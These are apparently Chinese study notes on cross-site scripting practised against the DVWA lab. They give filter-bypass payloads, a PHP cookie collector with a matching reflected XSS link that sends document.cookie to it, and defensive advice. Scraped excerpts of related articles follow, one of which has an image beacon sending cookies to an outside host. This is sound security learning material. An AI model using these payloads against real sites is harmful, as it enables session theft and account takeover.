XSS-笔记

Cross Site Script  跨站脚本

是一种客户端代码的注入  而命令注入、sql注入都是客户端代码的注入。

XSS攻击行为的目标为:1、窃取目标的cookie信息 2、执行CSRF脚本等

存储型 攻击脚本存储在服务器数据库中 输出在HTML响应中
反射型 攻击脚本在URL中 输出在HTML响应中
DOM型 攻击脚本在URL中 输出在DOM节点中

<script>alert(/xss/)</script>

<!-- 绕过只过滤小写script标签的情况 -->

<sCrIpT>alert(/xss/)</sCrIpT>

<!-- 绕过只过滤一次script标签的情况 -->

<sc<script>ript> alert(/xss/)<sc</script>ript>

<!-- script标签不可用的情况 -->

<img src=x onerror=alert(/xss/)>

<iframe onload=alert(/xss/)>

弹窗验证   alert() 若被过滤可尝试 confirm()和 prompt()

有些web服务器可能会把同一个参数在服务器上合并起来,如果该服务器对该参数每一条的长度有限制可以尝试分割成多个来绕过限制。

攻击行为构造

攻击者服务端

http://127.0.0.1/cookie.php

<?php

$cookie = $_GET[‘cookie‘];

file_put_contents(‘cookie.txt‘, $cookie);

?>

XSS构造

http://192.168.3.88/dvwa/vulnerabilities/xss_r/

?name=<script>document.location=‘http://127.0.0.1/cookie.php?cookie=‘+document.cookie;</script>

URL编码后方可用

http://192.168.3.88/dvwa/vulnerabilities/xss_r/

?name=%3Cscript%3Edocument.location%3D%27http%3A%2f%2f127.0.0.1%2fcookie.php%3Fcookie%3D%27%2bdocument.cookie%3B%3C%2fscript%3E

DVWA_1.9 这里的各个等级主要围绕在各种对XSS脚本的过滤与绕过展开

low

http://192.168.3.88/dvwa/vulnerabilities/xss_r/

?name=<script>alert(/xss/)</script>#

medium.

<sCrIpT>alert(/xss/)</sCrIpT>

<sc<script>ript> alert(/xss/)<sc</script>ript>

high

<img src=x onerror=alert(/xss/)>

<iframe onload=alert(/xss/)>

php 中 htmlspecialchars 默认不编码单引号 带上 ENT_QUOTES参数后会编码单引号 不编码存在xss风险

mysql_real_escape_string 对引号进行转义防止sql注入

XSS防治办法

输入过滤: 白名单  不要用黑名单容易被绕过

输出过滤  html编码 js转译

另外存储型XSS原理类似  需要清理数据库时DVWA选择 Setup / Reset DB --> Create / Reset Database

时间: 2024-08-27 09:15:56

XSS-笔记的相关文章

【安全牛学员笔记】存储型XSS和BEEF浏览器攻击框架

存储型XSS 长期存储于服务器端 每次用于访问都会被执行javascript脚本 Name:客户端表单长度限制 客户端.截断代理 <script src=http://1.1.1.1/a.js></script> a.js源码 var img = new Image(); img.src = "http://1.1.1.1:88/cookies.php?cookie="+documnet.cookie; [email protected]:~# netstat

【安全牛学习笔记】XSS- 键盘记录器和反射型XSS

╋━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━╋┃XSS                                                                                                                                             ┃ ┃Keylogger.js                                              

Cross-site Scripting (XSS) 阅读笔记

本文源自 https://www.owasp.org/index.php/Cross-site_Scripting_%28XSS%29 通过阅读和翻译,并按照自己的理解,整理成如下文档. 概述 XSS攻击是一种注入, 通过这种攻击,恶意脚本被注入到被信任的网站里. XSS攻击的表现是,攻击者使用web应用的缺陷,发送恶意代码到另外一个不同用户, 一般是以浏览器端脚本的形式发送. 这种使得攻击成功的缺陷是相当广泛的,并存在于这种web应用中, 应用使用用户输入数据,放到网站输出的响应中,但是没有对

《xss跨站脚本剖析与防御》实验笔记

1.书籍<xss跨站脚本剖析与防御>上介绍的xss测试代码 <img src="javascrpt:alert('xss');">, <table background="javascrpt:alert(/xss/)"></table> 已经不能在多大数的浏览器上弹窗成功了 测试xss漏洞尽量改变习惯使用 <img src=1 oneRroR=alert(/XSS/)> <img src=1 oneR

《白帽子讲WEB安全》学习笔记之第3章 跨站脚本攻击(xss)

第3章 跨站脚本攻击(xss) 3.1 xss简介 恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的. XSS攻击:跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆.故将跨站脚本攻击缩写为XSS. XSS本质就是HTML注入 XSS的分类: (1)     反射型XSS: 一个恶意构造了Web的URL (2)    

《白帽子讲web安全》第三章XSS读书笔记

3.1 xss简介 cross site script 本来缩写是css,为了跟网站开发中的css区分,安全领域称为xss. xss的产生原因是直接把用户的输入,输出到页面上,黑客可以输入脚本语句进行攻击. xss的分类:反射性xss,需要诱使用户点击恶意链接才能攻击成功:存储型xss,也叫持久型xss,黑客输入的数据可以存储在服务器上:DOM based xss,实际上是一种反射性xss,通过修改页面的DOM来进行攻击. 3.2 xss攻击进阶 3.2.1 初探xss payload xss

xss攻击笔记

利用填写的表单输入html命令,在目标服务器或者本机执行. 1)跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆.故将跨站脚本攻击缩写为XSS. 2)XSS工作原理 恶意web用户将代码植入到提供给其它用户使用的页面中,如果程序没有经过过滤或者过滤敏感字符不严密就直接输出或者写入数据库.合法用户在访问这些页面的时候,程序将数据库里面的信息输出,这些恶意代码就会被执行. 3)XSS漏洞的分类 1.本地利用

xss跨站脚本攻击剖析与防御-读书笔记

<?php /* 1.什么是xss?           xss中文名字<跨站脚本>主要是因为web程序对输入输出过滤不足导致的.           攻击者利用xss漏洞把恶意脚本代码(HTML+Javascript)注入到网页中,           当用户浏览这些网页时,就会执行恶意代码,对受害者进行攻击,例如           盗取Cookie,会话劫持,钓鱼欺骗等各种攻击. 2.xss的危害        Cookie盗取                只要有记住密码功能,盗

black-hole《XSS的原理分析与解剖》阅读笔记

0×01 前言: <xss攻击手法>一开始在互联网上资料并不多(都是现成的代码,没有从基础的开始),直到刺的<白帽子讲WEB安全>和cn4rry的<XSS跨站脚本攻击剖析与防御>才开始好转. 我这里就不说什么xss的历史什么东西了,xss是一门又热门又不太受重视的Web攻击手法,为什么会这样呢,原因有下: 1.耗时间 2.有一定几率不成功 3.没有相应的软件来完成自动化攻击 4.前期需要基本的html.js功底,后期需要扎实的html.js.actionscript2/

菜鸟笔记之XSS小游戏

地址:http://118.89.29.193:8080/level1.php  -------------- (总共20关) 1.当<script>alert(1)</script>被拦截时,如果在value值内的话,尝试value="" onclick='javascript:alert(1)'> (注意:需要触发才可以执行js脚本) 2.不同的浏览器所产生的相应不同,就像chrome和搜狗浏览器,发现XSS加入js脚本总会出现Token contai